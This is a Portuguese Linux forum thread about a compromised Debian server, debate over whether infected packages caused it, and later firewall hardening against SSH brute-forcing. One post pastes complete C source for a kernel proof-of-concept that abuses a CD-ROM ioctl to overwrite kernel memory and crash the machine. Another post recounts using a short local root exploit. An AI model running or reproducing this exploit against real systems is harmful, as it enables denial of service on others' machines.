#  > Geral >  > Segurança >  >  Invasão Hacker

## maverick_cba

Galera, venho atráves desde lhes comunicar uma experiência que me fora relatada hoje por um amigo meu e que me causou um certo medo.

Pois bem, um amigo meu me contou hoje sobre uma invasão que recem fizeram à um servidor deles. O servidor roda Debian 3.1 com todas as atualizações em dia.

Detalhes da invasão:
Percevendo que ao tentar executar qualquer comando do shell como por exemplo ls, cd, e etc acontecia um erro do tipo segmentation fault. Achando estranho isso, meu amigo decidiu averiguar pois era um servidor de testes e que iria para a produção.

Sem descobrir nada o motivo, ele resolve averiguar nos logs. E eis o espanto. Diversos acessos foram feitos na máquina utilizando o ssh com conta de root. Detalhe: a senha possuia 13 digitos  :Smile: 

Os bastidores:

A invasão se deu pelo fato da instalação de algum pacote Debian infectado (que ainda não sabemos qual) que monitorava os comandos digitados no shell, com isso o hacker conseguiu seu primeiro sucesso, invadir uma conta não privilegiada. Apartir do momento que alguem logou com a senha do root, o bendito script (vírus ou sei lá) capturou a senha e enviou para o invasor, com isso ele acessou a máquina e liberou o acesso via ssh direto a conta de root.

Em seguida habilitou um serviço de smtp na máquina (acho que ele queria disseminar spam) e tb a porta 7000.

Depois começou a vasculhar os arquivos do servidor. Como era um servidor web, o danado abriu os fontes dos arquivos e achou a senha do servidor mysql remoto.

Ele tentou uma série de invasões inserindo scripts em pearl no servidor mysql. A sorte foi que em nehuma das tentativas de invasão ao mysql foi bem sucedida, porem ele já possuia informações demais para manipular toda a infra-estrutura da máquina.

A solução foi formatar a máquina e liberar o acesso ao shell somente a um determinado ip.

Agora lhes faço a pergunta que me deixou indignado e com medo.
Quem nos garante a integridade dos pacotes que estão disponíveis no Debian atráves do apt-get?

Pelo que eu sei, qualquer um pode desenvolver seus pacotes e coloca-los disponíveis para download através do apt-get sem que haja nenhuma verificação disso.

Estou indignado, pois pensei que tinha achado uma ótima distribuição.
Estou voltando para o slackware que ainda considero seguro e leve.

Fica aqui o alerta aos senhores adminstradores de sistemas que tanto penam assim como eu para manter a segurança dos mesmos.

----------


## Pedro0278

Fica um alerta a seu amigo que ao inves de botar o servidor pra funcionar com pacotes stables, botou com pacotes instables e com fontes desconhecidas... sem contar que nao deve ter posto firewall...

Se era um servidor web deve ter deixado um monte de portas abertas ao invés da 80...

Pede pra ele reinstalar tudo e fazer outra verificação (não estou querendo com isso dizer que o sistema é 100% a prova de falhas e a culpa foi dele)

Ele tem pelo menos nos logs dele o ip do invasor?

----------


## maverick_cba

Ainda não sei se o motivo foi o uso de pacotes unstable, pois irei averiguar com ele, mas de qualquer forma avia um programa espião que estava enviando dados para o invasor e ele me garante que não instalou nenhum software que não fosse através do apt-get. Portanto acredito eu que existe programas maliciosos nos mirrors do Debian. Afinal alguem com mas intenções poderia imbutir um espião em algum programa.

Até onde sei havia instalado no servidor somente o apache + mysql + php.

Quanto ao firewall, ele não implantou um sistema de firewall pois o PC estava por trás de um firewall de uma Organização (que não vou falar o nome) que do tamanho que ela é e o tipo de informações que ela trabalha, no mínimo deveria ter o maior sistema de segurança do estado. Mas depois dessa percebeu-se que o firewall dos caras era só fachada, pois a porta 7000 estava liberada.

----------


## ruyneto

O mesmo se o cara usar versão unstable, é feio se isso for verdade, porque uma distro que prima pela segurança e tals permitir que qq um poste programas nos repositorios nao da certo, acho que se for verdade isso teria de ser repassado para a comunidade ficar esperta.

falows

----------


## alex_sorocaba

hehehehe, de uma coisa eu sei o "hacker" num eh muito bom nao, pois colocou um rootkit muito porco no sistema ou nao soube configurar ou portar o rootkit pro sistema em questao  :Frown: 
um servico muito mal feito.

Pra que ele vasculharia arquivos no servidor em busca senhas ou vulnerabilidades do mysql sendo que ele jah tinha root?

creio eu que foi assim, pois num ficou muito claro: o invasor deve ter acessado primeiramente os scripts do servidor, conseguiu ver a senha do mysql nos scripts que por acaso acessam o bd com senha de root que seria a mesma do ssh. dai comecou o ataque. colocou um rootkit e um sniffer, creio eu que essa porta 7000 seria uma cmd com suid.

ssh pra root  :Frown:

----------


## B1SH0P

> ssh pra root


eh td bem liberar acesso soh p um ip...mas pq o acesso pelo ssh do root seu amigo precisa mesmo? naum pode criar um user p poder acessar?

----------


## mistymst

Acho que foi má configuração.... o qual experiente é esse seu amigo em linux?

Por exemplo, tanto Debian quanto Slackware, out-of-the-box, dependendo da instalação sao relativamentes um tanto "abertos" com muito servicos desnecessarios e entre outras coisas, quanto aos pacotes instables realmente nao é uma boa utilizar mas nao deveria trazer falhas de segurancas assim, que pacotes seriam esses? se fosse disse que so havia o trio infernal (php mysql apache) ? sera q ele nao instalou anda mais? so havia mysql e apache para fora? ou mais alguma porta? ops tirando o ssh.. e pow accesso ao ssh de root é feio... PermitRootLogin so em maquina cobaia q eu to preguissa de copiar para o home do usuario normal.

Sao muitos casos a se analisar, quanto a 13 digitos, isso nao implica em nenhum aumento na seguranca a nao ser a ataques de forca bruta, pois o hash md5 (default no linux) nao varia conforme o tamanho da string.

Na boa, nao da para culpar o SO/Distro so por causa de um caso... eu sempre tento manter meus sistemas atualizados e sempre bem configurados, mas isso nem sempre é o caso, hoje em dia eu tenho um cliente a mais de um ano rodando um Debian 3.0 (sem patches, durante um ano obvio) e ate onde eu sei nao houve problemas de invasao. E antes que me culpem eu tenho q receber $$$ para manter os sistemas atualizados, mas entretanto tenho outras maquinas com o 3.1 atualizado e bem configurado, Conectiva, RedHat, etc que nao dao dor de cabeca, basta voce ter os servicos bem configurados e atualizados e minimizar o acesso fisico (principalmente) e shell local a maquina.

O unico SO que se gaba de security out of the box é o OpenBSD, o resto nao vem com essa visao de ser "totalmente" seguro apos uma instalacao padrao, exceto as distros voltadas para seguranca/firewall.

Entao antes de voltar para o seu Slackware ou qualquer outra distro, voce nao pode condenar um SO por um unico caso isolado e maquina de teste, que ainda iria para producao, se ele ainda iria para producao o que estava fazendo em uma rede "desprotegida" , servidor só entra em producao quando esta REDONDO. Ah e outro nota, ja usei Slackware por muito tempo tambem.

Eu tenho é medo de plugar SO na rede sem atualizar, so da bronca, ainda mais na internet, infelizmente tenho um caso a citar que quando tenho q instalar Windows 2000 eu nem plugo ele na rede, porque ele ja pega o Blaster antes deu terminar o 1o boot, ou seja, tenho q atualizar ele offline e depois plugar o cabo, ate que com os meus penguins e diabinhos eu nao tenho esse problema... mas na internet sem atualizacao nunca  :Smile:  (os meus é claro hehe)

Espero que o post nao tenha ficado muito grande (mas ficou) ai entao ja da para ter alguma ideia da situacao, vale a pena voce averiguar toda a situacao que ocorreu de fato e fazer um full checkup no seu ja que voce esta desconfiado e tentar voce mesmo encontrar alguma vulnerabilidade, pois sempre serão abertas portas, afinal ninguem 'hackeia' e vai embora, quer manter a porta aberta, afinal um host na internet é sempre um host para fazer o mal.

----------


## The-shadow

esse rootkit chama-se "SuckIT", ele tema habilidade de sniffar um tty em busca de passwords de conexoes ssh ou do sudo...
nc acredito que mesmo os pakotes do debian tenham esses buracos..
é bem provavel que tenha sido um script PHP mal escrito que tenha aberto a brecha..

viva aos IDS/Logserver centralizados!!  :Big Grin:

----------


## silmar

Agora eu acredito que ele deva ter feito como  :Big Grin:  trampei como um doido num final de semana prolongado e depois de tudo funcionando os dois servidores linux eu liguei na net e fiz um monte de coisas .. mas deixei de colocar o firewaal ja prono no ar ..
huhauuhaua conclusão .. no dia que a turma foi trampar .. nada funcava
e quando fui ver .. foi a minha burrice de ter deixado de colar o firewall no ar ...

----------


## xstefanox

Calma, minha gente. Vamos destrinchar um pouco o assunto.

Os pacotes .deb dos repositórios oficiais da Debian são extensivamente testados durante todo o processo de inclusão de um pacote, independente do release (Stable, Testing ou Unstable). Não entendam que pelo desenvolvimento de uma distribuição ser aberto à comunidade, isso quer dizer que ele é bagunçado. Sempre tem alguém organizando e olhando os conteúdos dos pacotes oficiais da Debian.

Se a conjectura de que o pacote que seu amigo puxou pelo apt-get foi realmente o causador de todo o mal for verídica, eu boto a minha mão no fogo que não foi nos repositórios oficiais que ele encontrou tal pacote. O que me leva a acreditar nisso é o fato dele ter pacotes da Unstable no servidor. Onde já se viu um pacote da Unstable em um servidor de produção? 

Levando o meu raciocínio mais adiante: Para seu amigo utilizar pacotes da Unstable no servidor, ele logo teria que editar o */etc/sources.list* e ter adicionado o repositório lá. O que impede que ele tenha adicionado um repositório não-oficial?

Não estou tentando acusar ninguém, mas eu nunca ouvi falar de uma invasão por pacotes oficiais da Debian. Nenhum sistema é 100% seguro, mas também não vai ser inseguro a ponto disto, sem mencionar que a Debian possui um nome a zelar.


Um abraço, saúde e cuca-fresca.

----------


## ruyneto

> Calma, minha gente. Vamos destrinchar um pouco o assunto.
> 
> Os pacotes .deb dos repositórios oficiais da Debian são extensivamente testados durante todo o processo de inclusão de um pacote, independente do release (Stable, Testing ou Unstable). Não entendam que pelo desenvolvimento de uma distribuição ser aberto à comunidade, isso quer dizer que ele é bagunçado. Sempre tem alguém organizando e olhando os conteúdos dos pacotes oficiais da Debian.
> 
> Se a conjectura de que o pacote que seu amigo puxou pelo apt-get foi realmente o causador de todo o mal for verídica, eu boto a minha mão no fogo que não foi nos repositórios oficiais que ele encontrou tal pacote. O que me leva a acreditar nisso é o fato dele ter pacotes da Unstable no servidor. Onde já se viu um pacote da Unstable em um servidor de produção? 
> 
> Levando o meu raciocínio mais adiante: Para seu amigo utilizar pacotes da Unstable no servidor, ele logo teria que editar o */etc/sources.list* e ter adicionado o repositório lá. O que impede que ele tenha adicionado um repositório não-oficial?
> 
> Não estou tentando acusar ninguém, mas eu nunca ouvi falar de uma invasão por pacotes oficiais da Debian. Nenhum sistema é 100% seguro, mas também não vai ser inseguro a ponto disto, sem mencionar que a Debian possui um nome a zelar.
> ...



Obrigado pela pequena aula stefano realmente achava que era assim que funcionava o repositorio, mas como o cara veio dizendo que pegou pelo apt e nao disse se foi do repositorio oficial fiquei de pe atras, pois achava que o sistema do debian era assim, mas agora tenhoc erteza que foi algum erro de quem fez o servidor, falows

----------


## jweyrich

E se os mirrors oficiais (ou pelo menos algum deles) tenham sido comprometidos ? Os responsáveis pela segurança, em geral, não publicam o caso. Seria mais um ? Há tantas perguntas sem respostas...

Vamos nos ater ao fato de que o servidor do nosso amigo tenha sido invadido.

Deseja descobrir como ocorreu e se realmente ocorreu ?
Este servidor está parado, em modo RO (read-only) ?
Pode nos informar qual versão do sistema, kernel e daemons (inclusive os módulos) ?

Bom, como diria meu amigo Jack, vamos por partes.

Abraços.

----------


## mcm

Eu acho que muita coisa tem que ser analizada e verificada antes de condenarmos um SO (a não ser que seja Windows :twisted: ).

Mas, muita coisa tem que ser verificada antes de colocarmos um SO que possa ser alcançado através da Internet na rede.

Inicialmente, além do processo de blindagem padrão (desativação de serviços desnecessários e recompilação de kernel para a também remoção de recursos desnecessários), os serviços que ficaram ativos (se era necessário que permanecessem todos ativos), deveriam ser protegidos pelo IPTABLES local da máquina (tudo bem que a empresa tenha Firewall, mas sempre vai existir a chance de um ataque interno).

Se depois de todas essas ações tomadas o SO fosse ainda comprometido, e ainda assim todos os pacotes instalados forem oficiais do Debian (ou de algum Mirror oficial do Debian), aí sim eu acreditaria que algum pacote poderia ter trazido isso.

Muito cuidado para esse tópico não virar uma "Flame War".

[]s!

----------


## mistymst

Hehe esta proximo disso... estao cutucando os fãs do debian, no meu caso, eu uso debian sim para servidores de producao  :Smile:  
Quanto a alguem invadir um mirror, essa possibilidade tambem existe mas os mirrors sao sincronizados diariamente e ate mais de uma vez por dia na maioria deles, logo se alguem colocou um pacote "hacked" ele acusaria diferenca na hora da sincronização e provavelmente seria substituido pelo pacote "bom", ou o nosso amigo teve muito azar na hora de baixar nesse exato momento? (acho que o cara tava querendo ownar uma maquina de teste buggando justo o mirror que ele tava catando.. hehe bom brincadeirinha)

e aí alguem jah descartou a possibilidade de invasão local? onde estava fisicamente o servidor? qualquer SO é uma crianca quando alguem ta sentado na frente dele do monitor e teclado, aí é facil de tirar doce de criança.

Hehe quanto a condenar o windows é legal :P, mas a cada dia que passa eu fico preocupado com os meus, mas fazer oque né.. a gente nao manda em tudo... so da para obdecer :roll: aí nao tem como tirar eles da internet hehe :cry: :cry: :cry: (gracas a deus que eles estao virgens ate hj  :Frown: 6) )

----------


## xstefanox

> E se os mirrors oficiais (ou pelo menos algum deles) tenham sido comprometidos ? Os responsáveis pela segurança, em geral, não publicam o caso. Seria mais um ? Há tantas perguntas sem respostas...
> 
> Vamos nos ater ao fato de que o servidor do nosso amigo tenha sido invadido.
> 
> Deseja descobrir como ocorreu e se realmente ocorreu ?
> Este servidor está parado, em modo RO (read-only) ?
> Pode nos informar qual versão do sistema, kernel e daemons (inclusive os módulos) ?
> 
> Bom, como diria meu amigo Jack, vamos por partes.
> ...


Quando o servidor deles (Na época o gluck) foi derrubado, eles avisaram.

----------


## The-shadow

LOGS LOGS LOGS!!! meus caros...lá tem tudo!..
se eles já n existirem, uma análise forense de certo que vai dar mais informaçoes preciosas  :Smile:  já agora, o firewall n loga tb?

----------


## mcm

Até poderia ser, mas a análise Forense ter que ser realizada o mais rápido o possível (até mesmo para capturar os vestígios do ataque que ainda poderiam estar na RAM).

----------


## truta...

engraçado, o cara faz um bocado de invasão, faz estripulias, e esquece de apagar arquivos de log...
hackerzinho fuleiro esse.

----------


## gatoseco

Mas vale o alerta a galera que fique esperta !!!


Abraçao !!!

----------


## irado

> E se os mirrors oficiais (ou pelo menos algum deles) tenham sido comprometidos ? Os responsáveis pela segurança, em geral, não publicam o caso. Seria mais um ? 
> Abraços.


tenho a impressão de que vc esteja confundindo os SO. TODOS os SO de código aberto publicam sistematicamente as vulnerabilidades encontradas e suas correções, às vêzes algumas horas depois destas terem sido descobertas. NENHUM SO de código aberto OMITE/SONEGA informações à comunidade.  :Evil:   :Frown: 6)

----------


## maverick_cba

Olá pessoal, desculpem a demora no retorno. Assim como todos aqui falaram, concordo no fato de que há poucas provas para fazermos um julgamento a respeito do Debian.

Meu amigo acredita-ele que o problema tenha sido algum pacote infectado, mas se pararmos para analizar, nada impede que ele tenha sido hackeado de outra forma.
Alem do mais andei sondando e ele não tem muitas evidências que comprovem que a invasão tenha sido causada por pacotes baixados pelo Fonte oficial do Debian. Como eu disse isso foi uma expressão dele.

Estou voltando atrás na minha decisão e acho que abandonar o debian só por causa desse fato (mal explicado) não quer dizer que ele seja inseguro. Aliás quando decidi usar o debian foi pensando justamente em segurança e praticidade.

Me desculpem se o que falei tenha ofendido alguem, mas como eu disse apenas repassei a notícia para que as pessoas saibam e possam se previnir.

----------


## ruyneto

Eu acho que seu amigo fez alguma besteira e pra se safar quiz jogar a culpa no debian, não que eu seja defensor de uma distro ou outra ate pq nao uso o debian, mas pelo que leio sei que eles tem uma responsabilidade com segurança e tals e como sempre achava mto dificil de ter acontecido o que seu amigo relatou. Por isso fala pra ele ter mais cuidado antes de ir acusando assim.

falows

----------


## mbyte

Desde o inicio deste tópico, estou fazendo buscas no google de varias formas sobre o ocorrido, e nada nem parecido encontrei.

----------


## maverick_cba

Também não encontrei nada na internet a respeito, e alem do mais ele é amante do freebsd.

Acho que não há mais o que falar, invasões vão e vem e muitas delas são causadas por falhas de quem administra tais sistemas. Quando disse que estava com "medo" me referia a um firewall StateFull recem montado por mim e que levei em torno de 15 dias para deixa-lo redondo, daí logo pensei que eu pudesse ser vitma desse ataque tb.

Mas como os colegas falaram e esclareceram, qualquer pacote debian official é rigorosamente testado e checado por bugs. Dái realmente não há porque afirmar que a causa do problema foi um pacote Official infectado.

Mas o que realmente achei estranho foi o fato de o invasor não ter apagado nehum vestígio, o que caracteriza que o "Cracker" (como deve ser chamado e não hacker como postei) foi muito imaturo podemos dizer assim.

----------


## mcm

> Olá pessoal, desculpem a demora no retorno. Assim como todos aqui falaram, concordo no fato de que há poucas provas para fazermos um julgamento a respeito do Debian.
> 
> Meu amigo acredita-ele que o problema tenha sido algum pacote infectado, mas se pararmos para analizar, nada impede que ele tenha sido hackeado de outra forma.
> Alem do mais andei sondando e ele não tem muitas evidências que comprovem que a invasão tenha sido causada por pacotes baixados pelo Fonte oficial do Debian. Como eu disse isso foi uma expressão dele.
> 
> Estou voltando atrás na minha decisão e acho que abandonar o debian só por causa desse fato (mal explicado) não quer dizer que ele seja inseguro. Aliás quando decidi usar o debian foi pensando justamente em segurança e praticidade.
> 
> Me desculpem se o que falei tenha ofendido alguem, mas como eu disse apenas repassei a notícia para que as pessoas saibam e possam se previnir.


Cara, sem o menor galho...

Eu não me senti ofendido com nada.

Fico feliz que você concorde que não seria justo condenar o SO. Te convido a instalar o Debian e usá-lo por um tempo, e te garanto que você terá uma ótima impressão.

----------


## DropALL

Toda distro é segura se bem configurada :P

O que adianta instalar Debian, Slack, TST se não sabe mexer? "O tio do curso de digitação disse que o debean é baum"... nahh :toim: :toim: 

Só mais um Conectiva (eca :P) bem configurado a um Debian mal configurado, sorry :twisted:

----------


## mcm

Não tenha dúvidas...

Mas não levei isso em conta pois o cara conhece Linux e sem dúvida sabe que tem que configurar e saberá o como fazê-lo.

----------


## jweyrich

> Postado originalmente por ph0enix
> 
> E se os mirrors oficiais (ou pelo menos algum deles) tenham sido comprometidos ? Os responsáveis pela segurança, em geral, não publicam o caso. Seria mais um ? 
> Abraços.
> 
> 
> tenho a impressão de que vc esteja confundindo os SO. TODOS os SO de código aberto publicam sistematicamente as vulnerabilidades encontradas e suas correções, às vêzes algumas horas depois destas terem sido descobertas. NENHUM SO de código aberto OMITE/SONEGA informações à comunidade.  6)


engana-se profundamente.

----------


## vonlinkerstain

Desculpe a ignorancia, mas como se faz uma analise forense?
Achei muitas coisas no google, mas nada referente a isso...

----------


## maverick_cba

Galera já que o assunto aqui é invasão. Será que alguem se habilita a criar uma artigo sobre boas praticas de segurança em sistemas linux? Independente de Distribuição.

Eu conheço algumas, pois recentemente tive aulas de segurança, porem não conheço todas ou quase todas.

Acho que seria bem interessante.

----------


## Super_Diaulas

teve um tempo atrás uma invasão em algum mirror do Debian, acho que foi isso, e foram trocados alguns pacotes por outros alterados

será q o teu amigo não baixou uma ISO bichada?
e mesmo assim, foi uma noticia que saiu em tudo que é lugar, se fosse no meu caso, eu teria baixado outra iso ou usaria uma mais velha.

Agora qnt a versão ou data eu não sei, apenas lembrei disso, mas me corrijam se eu estiver errado.

o stefano falou algo sobre isso, mas não sei se é o mesmo caso

----------


## maverick_cba

Só uma correção, a versão utilizada foi a Debian 3.0 e não a 3.1 como eu disse anteriormente.

Agora outro detralhe, havia outra pessoa que tinha acesso ao servidor e ainda não sabemos se o causador disso foi o bendito pois o mesmo andou instalando alguns pacotes a alguns dias atrás.

O cara deve ter feito besteira.

----------


## vonlinkerstain

Agora sim a porca torceu o rabo...


Tavendo como é fácil culpar os outros?

----------


## maverick_cba

> Agora sim a porca torceu o rabo...
> 
> 
> Tavendo como é fácil culpar os outros?


Verdade! Confesso que fiquei abalado no início, mas agora que os fatos começaram a serem apurados, já estou vendo que esse tipo de problema quase sempre está naquela peça que fica entre a cadeira e o teclado.

Claro que nem todo sistema é 100% seguro, mas o linux nesse caso dá show e não é a toa que é o sistema preferido quando o assunto é segurança.

Aqui vai uns links sobre segurança para quem se interessar:

http://www.linuxdoc.org/HOWTO/Security-HOWTO.html

http://www.linuxdoc.org/LDP/nag/nag.html

Abraços,

----------


## nod3vic3

Aproveitando a questão de segurança, estou procurando um curso nessa área. 

Estive olhando na 4linux, parece que tem alguns bons, porém o patrão achou um pouco longe para fazer então gostaria de saber se alguém tem algum outro pra indicar. 

Já criei um tópico sobre isso a alguns dias se quiserem responder ló o link é esse
https://under-linux.org/modules.php?...wtopic&t=33813

Valew

----------


## maverick_cba

> Agora sim a porca torceu o rabo...
> 
> 
> Tavendo como é fácil culpar os outros?


Verdade! Confesso que fiquei abalado no início, mas agora que os fatos começaram a serem apurados, já estou vendo que esse tipo de problema quase sempre está naquela peça que fica entre a cadeira e o teclado.

Claro que nem todo sistema é 100% seguro, mas o linux nesse caso dá show e não é a toa que é o sistema preferido quando o assunto é segurança.

Aqui vai um link sobre segurança para quem se interessar:

http://www.tldp.org/HOWTO/Security-HOWTO/

Abraços,

----------


## fozzy

assim ó...
Ouvi uma coisa a respeito de um bruta force que com o nome do usuario detona e invade.No caso do root acho que ele botou um bruta force.E depois tem mais um programa que quebra a pasta shadow do linux e dai ele pega os password e faz a festa.Por isso meu colega queria mudar o esquema das portas do ssh e colocar ele para escutar em portas altas.
No firewall que montei nao habilitei ainda o ssh...Mas irei habilitar...

Espero ter contribuido...

----------


## vonlinkerstain

Sobre a segurança do linux eu confesso que fiquei meio abalado esta semana.

O que aconteceu:

Abri o meu ssh pra um cara configurar o meu pabx, e mudei a senha do root para o nome do caboclo.
Logo que ele entrou vi no log que mudaram a senha do root, ele disse que não foi ele, o que aconteceu, Fiquei sem saber a bendita senha do root.
Depois de algumas pesquisas no google, achei um programa que me transformava em root sem a senha (só achei isso pois tinha visto um cara fazer isto em uma palestra, e por ele mesmo disse que essa era uma falha muuuuiito antiga do kernel do linux) (isso foi na primeira conisli). 
O que eu fiz, sai a procurar e achei um código destes.
Testei no meu slack 9 (e como nao manjo porra nenhuma de C) o código não funcionou..

Parabin paraben parabun, 
Depois de alguns comentarios no código consegui compilá-lo.
Rodei o carinha e pronto, eu era o root!!!! Pasmem, é um código de no máximo 30 linhas.
O nosso colega Jim testou ele hoje no RedHat, mas não funcionou.
no slack funfa. Sei que no kernel 2.6 ele não roda, mas também ouvi o mesmo carinha dizendo que no linux existem (ainda) muitas falhas de seguraça triviais quanto esta e que elas continuam no kernel 2.6, ai eu já não sei se é flame ou se é verdade, mas eu me assustei.

----------


## Jim

realmente... num redhat que eu tinha nao funfou.. kernel 2.4

----------


## maverick_cba

Putzzz... será então que tenha sido isso que aconteceu com meu amigo? Mas para que esse programa funcione é necessário que esteja na máquina a ser invadida?

Não entendi.

Mas pelo menos atualizo sempre o kernel dos meus servidores, que no meu caso estou usando o 2.6.

Agora imaginem o sudo, ele pega e assume os direitos do root sem pedir senha nem nada. Daí eu pergunto, como ele faz isso? Que deve existir um modo de efetuar algo como root deve have, agora deve estar muito bem escondido senão virava bagunça.

----------


## Jim

entra com usuario comum, compila e roda

----------


## maverick_cba

Vonlinkerstain, poderia me enviar esse código para eu testar no meu Debian 3.1?

Agora fiquei com medo denovo. Preciso saber a gravidade da situação.

----------


## Jim

Se vc usa o kernel 2.6 nao terá esse problema.

----------


## vonlinkerstain

> Vonlinkerstain, poderia me enviar esse código para eu testar no meu Debian 3.1?
> 
> Agora fiquei com medo denovo. Preciso saber a gravidade da situação.


No Debian eu ainda não o testei, mas ele só funciona nos kernels 2.4 pois é uma falha de system calls. O programa é um módulo, que pode ser carregado por um usuário comum, que deve estar na máquina, e ao ser carregado ele muda o uid do usuário para 0, com isso o cara vira root sem precisar de senha..

----------


## MAJOR

Sim, até agora vocês estão falando de exploits que exploram bufferoverflow.
Um bom Administrador de Sistema, Rede e DBA, não pode deixar de participar de grupos de segurança sites de segurança, sites de exploits e outros....
Pois scriptkids apenas colocam os script's em C, BASH,Perl para rodar, e pode ter certeza de que se você não estiver antenado, ele vai explorar uma falha no seu sistema.
Temos que ficar atentos com as versões que estão rodando nas máquinas pois quando uma versão sobe, é que algum BUG foi corrigido, então deem uma olhada o pq a versão subiu, vejam se não existem "Remote Code Execution" ou mesmo um "Arbitrary code Execution "pois se existir, ou você para o serviço, ou atualiza.
Lembrando tambem que a maioria das invasões vem de dentro da sua empresa, e não de fora, pois de dentro você tem muito mais serviços rodando no servidor e seus scripts estão mirados para fora!
E aquele cara que está com aviso prévio e odeia a empresa, e de alguma forma quer prejudicar o máximo possível a empresa?!!.


Se alguem tiver acesso a máquina em questão, (ssh) (tty) (telnet) entre outros é bom você ficar mil vezes mais esperto, pois exploits locais são muito comuns em Linux, Windows,MAC ,FreeBSD (pois a maioria das vezes o exploit está escrito em cima da sua aplicação e não do sistema que você está rodando) e se o "usuário" com conhecimento em exploits realmente quiser subir para root, é bem provavel que consiga.


Então, se cuidem Linuxers, pois a cada dia nascem mais e mais ScriptKids. 


Não mencionei "Escovadores de Bits", pois sabemos que somos vulneraveis. 




#######################################################################
/* pktcdvd_dos.c proof-of-concept 
* This is only a lame POC which will crash the machine, no root shell here. 
* --- alert7 
* 2005-5-15 
* the vulnerability in 2.6 up to and including 2.6.12-rc4 
* 
* gcc -o pktcdvd_dos pktcdvd_dos.c 
* 
* NOTE: require user can read pktcdvd block device 




#define _GNU_SOURCE 
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <signal.h> 
#include <paths.h> 
#include <grp.h> 
#include <setjmp.h> 
#include <stdint.h> 
#include <sys/mman.h> 
#include <sys/ipc.h> 
#include <sys/shm.h> 
#include <sys/ucontext.h> 
#include <sys/wait.h> 
#include <asm/ldt.h> 
#include <asm/page.h> 
#include <asm/segment.h> 
#include <linux/unistd.h> 
#include <linux/linkage.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 
#include <linux/sysctl.h> 
#include <linux/cdrom.h> 


#define __NR_sys_ioctl __NR_ioctl 



#define PKTCDVDDEVICE "/dev/hdc" 


static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg); 


struct idtr { 
unsigned short limit; 
unsigned int base; 
} __attribute__ ((packed)); 


unsigned int get_addr_idt() { 
struct idtr idtr; 
asm("sidt %0" : "=m" (idtr)); 
return idtr.base; 
} 
struct desc_struct { 
unsigned long a,b; 
}; 
int main(int argc,char **argv) 
{ 
unsigned int ptr_idt; 
int iret ; 
int fd; 


printf("[++]user stack addr %p \n",&ptr_idt); 
if ( ( (unsigned long )&ptr_idt >>24)==0xfe){ 
printf("[--]this kernel patched 4g/4g patch,no vulnerability!\n"); 
return -1; 
} 


ptr_idt=get_addr_idt(); 
printf("[++]IDT Addr %p \n",ptr_idt); 



fd = open(PKTCDVDDEVICE,O_RDONLY); 
if (fd ==-1) 
{ 
printf("[--]"); 
fflush(stdout); 
perror("open"); 
return -1; 
} 

unsigned long WriteTo ; 


if ( (ptr_idt>>24)==0xc0){ 
printf("[++]this OS in Real Linux\n"); 
WriteTo= ptr_idt; 
}else{ 
printf("[++]this OS maybe in VMWARE\n"); 
WriteTo = 0xc0100000; 
} 


printf("[++]call sys_ioctl will crash machine\n"); 
fflush(stdout); 

int loopi; 
for (loopi=0;loopi<0x100000 ;loopi++ ) 
{ 
printf("[++]will write data at 0x%x\n",WriteTo+loopi*4); 
fflush(stdout); 
iret = sys_ioctl(fd, 
CDROM_LAST_WRITTEN, 
WriteTo+loopi*4); 
if (iret ==-1) 
{ 
printf("[--]"); 
fflush(stdout); 
perror("ioctl"); 
//if in VMWARE ,rewrite ptr_idt adress will failed 
printf("[--]still aliving\n"); 
close(fd); 
return -1; 
} 
} 
close(fd); 
return 0; 
}

----------


## maverick_cba

Soccoroooo!!! 

Pessoal agora está acontecendo comigo.

tenho um servidor Debian 3.1 com kernel 2.6 e firewall iptables com politica drop para input e forward, acontece que tem alguem rodando um dicionário de dados no meu servidor ssh. O cara tá tentando invadir via brute force.

O estranho é que eu liberei ssh somente para um determinado ip, e até testei de outro lugar e a conexão foi barrada. Só que o meu auth.log tem um monte de linhas assim:

Illegal user guest from 203.64.42.109
POSSIBLE BREAKIN ATTEMPT!

e assim vai tentando com vários usuários
Não sei como o cara tá conseguindo fazer requisições no meu firewall, pois a regra deveria funcionar.

Agora peço ajuda a vocês, pois no meu servidor tem uns usuários padão criados e queria saber quais posso remover:
Segue uma lista deles:
sync
games
man
lp
mail
news
uucp
proxy
backup
list
gnats
exim

Agradeço a ajuda...

----------


## MAJOR

change the apllication Door.

Up our down.

hehehe

=]

----------


## vonlinkerstain

O games e o man com certeza.
Mas seŕa que isso no log nao são as tentativas barradas?
Vc fez log do iptables?

----------


## maverick_cba

Não, não tenho nenhuma regra de log no iptables.

Instalei o snort aqui, só que não sei como configura-lo. Será que alguem conheçe um bom tutu aí?

----------


## ruyneto

Cara existe mtos tutoriais bons de snort no google, mas a maioria eh sobre configurações básicas, se quiser se aprofundar mais recomendo algum livro.

falows

----------

Cara hacker é tudo uns almofadinhas... gays ou sei la .. Sõ mulherzinhas qu gostam de saber da vida dos outros...

Hacker.. vão se fud**

----------


## maverick_cba

Bom pelo menos as minhas defesas com ipatables estão boas... pois o cara tá tentando desde o dia 13/08 e ainda não conseguiu nada...

Alem do mais dei uma reforçada nas senhas... vamo ver até onde meu servidor aguenta.

Agora eu preciso achar um modo de barrar as conexões dele, pois como eu disse ele tá conseguindo fazer requisições, e ainda não conseguiu entender como ele está, pois a politica padrão para INPUT é DROP e somente liberei ssh para um determinado ip.

----------


## Super_Diaulas

troca a porta!
verifica de onde tá vindo essas requisições...pega o ip do desgraçado e bloqueia no iptables

----------


## Jim

- feche todas as portas que nao for usar do servidor, libere ssh apenas para um IP da sua rede interna
- gere logs com iptables
- Analise os logs do iptables e trave o IP do cara
- nao permita de forma alguma login como root.

Já é um bom começo.

----------


## morronix

Bom,pelo menos no primeiro caso,ficou claro que sempre é bom utilizar versões estáveis e que deve manter abertas apenas portas necessárias..bom saber...

----------


## maverick_cba

Galera, fiz o seguinte dei uma revisada nas minhas regras e percebi que tinha uma regra que tava abrindo uma brecha permitindo conexões de fora:

iptables -A INPUT -p tcp --tcp-flags SYN,ACK,FIN,RST SYN -m limit --limit 1/s -j ACCEPT

Removi essa e outras regras parecidas e dai parece ter resolvido o problema. Tb mandei fazer log de todas as conexões com destino a porta 22 com exceção do ip que liberei.

iptables -A INPUT -p tcp -i eth0 -s ! 200.xxx.xxx.xxx -m limit --limit 20/hour --dport 22 -j LOG --log-prefix="Acesso nao Autorizado"

Instalei o SNORT, removi usuários desnecessários do sistema e tirei acesso ao shell aos demais.

